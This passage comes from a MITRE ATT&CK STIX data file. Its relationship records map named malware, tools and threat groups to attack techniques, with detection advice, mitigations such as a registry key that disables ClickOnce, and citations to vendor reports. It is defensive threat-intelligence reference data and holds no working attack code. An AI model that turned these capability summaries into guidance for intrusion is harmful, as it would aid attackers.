Movement.","modified":"2022-04-25T19:36:50.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T01:22:53.951Z","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on running processes and environment variables from the victim.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33666771-34e3-41a9-8e98-57a99e92c40a","created":"2022-09-30T18:47:43.387Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:47:43.387Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors relied on potential victims to open a malicious Microsoft Word document sent via email.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--336dc2ea-855a-4725-9112-b71739b95b58","created":"2024-09-09T14:40:55.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Learn ClickOnce Config","description":"Microsoft. (2023, August 4). Configure the ClickOnce trust prompt behavior. Retrieved September 9, 2024.","url":"https://learn.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior?view=vs-2022&tabs=csharp"},{"source_name":"NetSPI ClickOnce","description":"Ryan Gandrud. (2015, March 23). All You Need Is One – A ClickOnce Love Story. Retrieved September 9, 2024.","url":"https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:23:55.244Z","description":"Disable ClickOnce installations from the internet using the following registry key: \n`\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\.NETFramework\\Security\\TrustManager\\PromptingLevel — Internet:Disabled`(Citation: NetSPI ClickOnce)(Citation: Microsoft Learn ClickOnce Config)\n\nClickOnce may not be necessary within an environment and should be disabled if not being used.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--336e0a87-8ee2-420d-8fb8-10ea2c015723","type":"relationship","created":"2020-07-16T15:10:35.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:24:07.845Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can XOR-encrypt C2 communications.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3376df6e-0a4d-4a28-98b9-5d40ef092588","created":"2023-03-29T20:36:02.352Z","revoked":false,"external_references":[{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T20:36:02.352Z","description":"[Rubeus](https://attack.mitre.org/software/S1071) can gather information about domain trusts.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3379cbbb-cb69-4dbd-856c-70f88eb256bc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","source_name":"EFF Manul Aug 2016"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.975Z","description":"[Bandook](https://attack.mitre.org/software/S0234) is capable of spawning a Windows command shell.(Citation: EFF Manul Aug 2016)(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--337abaa3-80a6-4c41-9936-2eed13b84ba9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.309Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses cmd.exe to execute commands.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--337dc23f-d825-415d-886b-53c3457fbd56","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.312Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used WMI event subscriptions for persistence.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33823f15-f43f-41ef-bc14-7dea2ab21acf","created":"2020-08-24T13:40:23.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET PipeMon May 2020","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:39:13.881Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) has modified the Registry to store its encrypted payload.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--338371ce-f2c3-4401-9e9a-c4c5667f87cb","type":"relationship","created":"2020-05-12T12:46:57.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T12:46:57.138Z","description":"[VBShower](https://attack.mitre.org/software/S0442) has the ability to execute VBScript files.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--33845950-b1b5-41a7-8d05-58e3c2ba0730","created":"2022-04-14T15:05:06.780Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes, such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001) , with arguments that can be used to enumerate email addresses and accounts.","modified":"2022-04-19T23:48:42.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--338816c6-2f54-45e1-a329-a41b2da6a93e","created":"2024-05-22T19:18:54.667Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:18:54.667Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) uses [IPsec Helper](https://attack.mitre.org/software/S1132) as a post-exploitation remote access tool framework.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--338c0224-eb50-4027-925a-637ee765b187","type":"relationship","created":"2020-03-20T18:09:11.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft About BITS","url":"https://docs.microsoft.com/en-us/windows/win32/bits/about-bits","description":"Microsoft. (2019, July 12). About BITS. Retrieved March 16, 2020."}],"modified":"2020-03-20T18:09:11.618Z","description":"[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files from SMB file servers.(Citation: Microsoft About BITS)","relationship_type":"uses","source_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3393682e-22a6-4e27-b890-747f1392741b","created":"2022-07-07T14:24:27.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft POLONIUM June 2022","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T18:49:46.432Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) has used the AirVPN service for operational activity.(Citation: Microsoft POLONIUM June 2022)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--339746da-8c6e-4273-8e17-895d3b50fe4d","type":"relationship","created":"2020-11-16T19:26:58.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T16:59:43.829Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--339b895c-48fa-4f99-9266-4310aeeb040f","type":"relationship","created":"2021-08-18T18:52:48.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T13:34:25.840Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has compromised social media accounts to conduct social engineering attacks.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--339d3a92-467e-4614-9714-7f101f113179","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for newly constructed visual content for internal or external enterprise networks. ","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--339e60fc-f94c-4b51-bc78-846c29c4340d","type":"relationship","created":"2020-05-14T15:14:33.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:33.524Z","description":"[DustySky](https://attack.mitre.org/software/S0062) can delete files it creates from the infected system.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--339e74c4-5e3a-4272-966f-f5542d255d0a","type":"relationship","created":"2021-01-13T20:16:23.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-13T20:16:23.615Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) modified its security token to grants itself debugging privileges by adding SeDebugPrivilege.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33a382a9-ebb3-48d9-bb7e-394a27783668","type":"relationship","created":"2019-01-29T14:51:06.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2021-03-29T19:49:11.254Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can download files to the victim’s machine.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33a464ab-cc0d-436d-9bcd-9d6e08994370","type":"relationship","created":"2020-05-14T19:06:50.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-09-15T21:10:12.755Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used process hollowing to inject itself into legitimate Windows process.(Citation: Infoblox Lokibot January 2019)(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33a54656-6370-4c22-af67-4ff528ba1568","type":"relationship","created":"2019-06-21T17:26:42.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.140Z","description":"Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--33aebe8f-cc59-4953-9648-ba6bf1654cda","created":"2022-04-19T03:09:32.164Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed. ","modified":"2022-04-19T03:09:32.164Z","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33bba084-3681-4955-861d-2ff6fe02ad9b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2019-03-25T17:06:37.159Z","description":"[Thrip](https://attack.mitre.org/groups/G0076) leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33c1dd3a-d38b-46f2-822f-33092e6b8528","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for newly constructed files by unusual accounts outside of normal administration duties","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2020-03-20T18:44:05.642Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T17:23:39.383Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) captures and DES-encrypts credentials before writing the username and password to a log file, C:\\log.txt.(Citation: Dell 